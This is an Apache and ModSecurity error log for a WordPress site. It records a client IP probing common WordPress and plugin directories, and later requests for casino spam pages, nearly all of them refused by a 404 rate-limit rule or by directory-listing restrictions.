[Thu Nov 13 18:42:31.733165 2025] [:error] [pid 44354:tid 44379] [client 146.70.160.236:49722] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Assets/"] [unique_id "aRW2F3qKopQhy3G4s3mD_gAAAZQ"]
[Thu Nov 13 18:42:34.847733 2025] [:error] [pid 44245:tid 44264] [client 146.70.160.236:49726] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Assets/"] [unique_id "aRW2Gok7r-HKZdqw-dXajQAAAU0"]
[Thu Nov 13 18:42:37.434231 2025] [:error] [pid 62216:tid 62255] [client 146.70.160.236:48124] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Assets/"] [unique_id "aRW2HepyFB9M2aVQhwM-mgAAAAg"]
[Thu Nov 13 18:42:40.044343 2025] [:error] [pid 6086:tid 6103] [client 146.70.160.236:48138] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/stories/"] [unique_id "aRW2IH9_6CRZzjZnAe0_GwAAAQ4"]
[Thu Nov 13 18:42:42.768049 2025] [:error] [pid 44354:tid 44379] [client 146.70.160.236:48150] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/stories/"] [unique_id "aRW2InqKopQhy3G4s3mEDgAAAZQ"]
[Thu Nov 13 18:42:44.964586 2025] [:error] [pid 62215:tid 62219] [client 146.70.160.236:48160] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/images/stories/"] [unique_id "aRW2JEvClof1c6XaOBW-wgAAAMA"]
[Thu Nov 13 18:42:53.805628 2025] [autoindex:error] [pid 62303:tid 62313] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:42:57.107347 2025] [autoindex:error] [pid 62303:tid 62321] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:42:57.699372 2025] [authz_core:error] [pid 62303:tid 62323] [client 146.70.160.236:60234] AH01630: client denied by server configuration: /home/rcacivils/public_html/wp-content/plugins/akismet/
[Thu Nov 13 18:42:57.999399 2025] [autoindex:error] [pid 62303:tid 62329] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:42:58.311380 2025] [autoindex:error] [pid 62303:tid 62307] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:42:58.814124 2025] [autoindex:error] [pid 62303:tid 62327] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:42:59.151178 2025] [autoindex:error] [pid 62303:tid 62324] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/html-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:42:59.441949 2025] [autoindex:error] [pid 62303:tid 62314] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:42:59.750264 2025] [autoindex:error] [pid 62303:tid 62319] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/php-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:43:00.031824 2025] [autoindex:error] [pid 62303:tid 62330] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:43:00.327262 2025] [autoindex:error] [pid 62303:tid 62318] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:43:01.838242 2025] [autoindex:error] [pid 62303:tid 62320] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:43:02.130876 2025] [autoindex:error] [pid 62303:tid 62313] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:43:02.416564 2025] [autoindex:error] [pid 62303:tid 62317] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:43:03.008805 2025] [autoindex:error] [pid 62303:tid 62328] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:43:03.603678 2025] [autoindex:error] [pid 62303:tid 62309] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:43:03.923597 2025] [autoindex:error] [pid 62303:tid 62308] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:43:04.218750 2025] [autoindex:error] [pid 62303:tid 62316] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ectoplasm/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:43:04.503382 2025] [autoindex:error] [pid 62303:tid 62321] [client 146.70.160.236:60234] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:43:12.228758 2025] [:error] [pid 62303:tid 62312] [client 146.70.160.236:60234] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/uploads/images/"] [unique_id "aRW2QL-hlFTtVrZw8jDynwAAAIU"]
[Thu Nov 13 18:43:16.033853 2025] [:error] [pid 62215:tid 62240] [client 146.70.160.236:46938] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/uploads/images/"] [unique_id "aRW2REvClof1c6XaOBW--QAAANU"]
[Thu Nov 13 18:43:18.949725 2025] [:error] [pid 62216:tid 62269] [client 146.70.160.236:57302] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/uploads/images/"] [unique_id "aRW2RupyFB9M2aVQhwM-tQAAABY"]
[Thu Nov 13 18:43:22.447762 2025] [:error] [pid 62217:tid 62298] [client 146.70.160.236:57318] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/uploads/images/"] [unique_id "aRW2ShjGU3T9wKBmdNdBlQAAAFg"]
[Thu Nov 13 18:43:25.131803 2025] [:error] [pid 44354:tid 44383] [client 146.70.160.236:57334] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aRW2TXqKopQhy3G4s3mEPwAAAZg"]
[Thu Nov 13 18:43:27.734294 2025] [:error] [pid 44354:tid 44377] [client 146.70.160.236:40214] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aRW2T3qKopQhy3G4s3mERgAAAZI"]
[Thu Nov 13 18:43:30.733271 2025] [:error] [pid 62303:tid 62311] [client 146.70.160.236:40226] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aRW2Ur-hlFTtVrZw8jDyqQAAAIQ"]
[Thu Nov 13 18:43:32.462667 2025] [:error] [pid 62215:tid 62243] [client 146.70.160.236:40242] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/classic-editor/"] [unique_id "aRW2VEvClof1c6XaOBW_CwAAANg"]
[Thu Nov 13 18:43:34.933019 2025] [:error] [pid 62217:tid 62298] [client 146.70.160.236:40256] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/fonts/"] [unique_id "aRW2VhjGU3T9wKBmdNdBnQAAAFg"]
[Thu Nov 13 18:43:37.231303 2025] [:error] [pid 44354:tid 44376] [client 146.70.160.236:60134] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/fonts/"] [unique_id "aRW2WXqKopQhy3G4s3mEUgAAAZE"]
[Thu Nov 13 18:43:39.230976 2025] [:error] [pid 62303:tid 62324] [client 146.70.160.236:60148] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/fonts/"] [unique_id "aRW2W7-hlFTtVrZw8jDyrwAAAJE"]
[Thu Nov 13 18:43:42.273413 2025] [:error] [pid 62215:tid 62242] [client 146.70.160.236:60156] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/fonts/"] [unique_id "aRW2XkvClof1c6XaOBW_FgAAANc"]
[Thu Nov 13 18:43:45.934371 2025] [:error] [pid 62303:tid 62323] [client 146.70.160.236:60160] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aRW2Yb-hlFTtVrZw8jDyswAAAJA"]
[Thu Nov 13 18:43:48.730682 2025] [:error] [pid 62215:tid 62232] [client 146.70.160.236:45136] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aRW2ZEvClof1c6XaOBW_HwAAAM0"]
[Thu Nov 13 18:43:52.167305 2025] [:error] [pid 62216:tid 62247] [client 146.70.160.236:45140] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aRW2aOpyFB9M2aVQhwM-xgAAAAA"]
[Thu Nov 13 18:43:54.432818 2025] [:error] [pid 62216:tid 62269] [client 146.70.160.236:45154] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/contact-form-7/admin/js/"] [unique_id "aRW2aupyFB9M2aVQhwM-ygAAABY"]
[Thu Nov 13 18:43:57.551451 2025] [:error] [pid 44245:tid 44263] [client 146.70.160.236:36792] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aRW2bYk7r-HKZdqw-dXaygAAAUw"]
[Thu Nov 13 18:43:59.532485 2025] [:error] [pid 62303:tid 62310] [client 146.70.160.236:36796] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aRW2b7-hlFTtVrZw8jDywwAAAIM"]
[Thu Nov 13 18:44:03.355162 2025] [:error] [pid 44354:tid 44367] [client 146.70.160.236:36802] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/contact-form-7/"] [unique_id "aRW2c3qKopQhy3G4s3mEbQAAAYg"]
[Thu Nov 13 18:44:05.875814 2025] [:error] [pid 62217:tid 62297] [client 146.70.160.236:36806] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wordpress/"] [unique_id "aRW2dRjGU3T9wKBmdNdBtgAAAFc"]
[Thu Nov 13 18:44:09.173547 2025] [:error] [pid 62217:tid 62293] [client 146.70.160.236:48668] [client 146.70.160.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wordpress/"] [unique_id "aRW2eRjGU3T9wKBmdNdBwQAAAFM"]
[Thu Nov 13 18:44:17.640121 2025] [autoindex:error] [pid 62303:tid 62328] [client 146.70.160.236:40472] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:44:17.995521 2025] [autoindex:error] [pid 62303:tid 62323] [client 146.70.160.236:40472] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/plugins/wordpress-seo/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:44:18.319220 2025] [autoindex:error] [pid 62303:tid 62325] [client 146.70.160.236:40472] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/plugins/wordpress-seo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:44:46.722330 2025] [autoindex:error] [pid 62303:tid 62331] [client 146.70.160.236:38058] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 18:44:57.337448 2025] [autoindex:error] [pid 44354:tid 44368] [client 146.70.160.236:34028] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Nov 13 21:42:25.092367 2025] [:error] [pid 4993:tid 5037] [client 66.249.70.166:64631] [client 66.249.70.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nohu/%E0%B8%95%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%87%E0%B8%95%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%87%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89.html"] [unique_id "aRXgQcl_cC0Js5xNCU1BBwAAAAs"]
[Thu Nov 13 21:42:47.779778 2025] [:error] [pid 4994:tid 5053] [client 66.249.70.166:60390] [client 66.249.70.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sitemap/Download%20PG%20Soft%20Mobile%20Casino.html"] [unique_id "aRXgVwVaYoYtjfBbabUIjgAAAIA"]
[Thu Nov 13 21:42:48.817579 2025] [:error] [pid 5086:tid 5103] [client 66.249.70.166:49599] [client 66.249.70.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/app/Slot%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95m168.html"] [unique_id "aRXgWB_dsYLFCHw574iiYwAAAQ4"]
[Thu Nov 13 21:42:58.086953 2025] [:error] [pid 5086:tid 5089] [client 66.249.70.166:49970] [client 66.249.70.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/games/%E0%B8%AA%E0%B8%A1%E0%B8%B1%E0%B8%84%E0%B8%A3%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.html"] [unique_id "aRXgYh_dsYLFCHw574iibgAAAQA"]
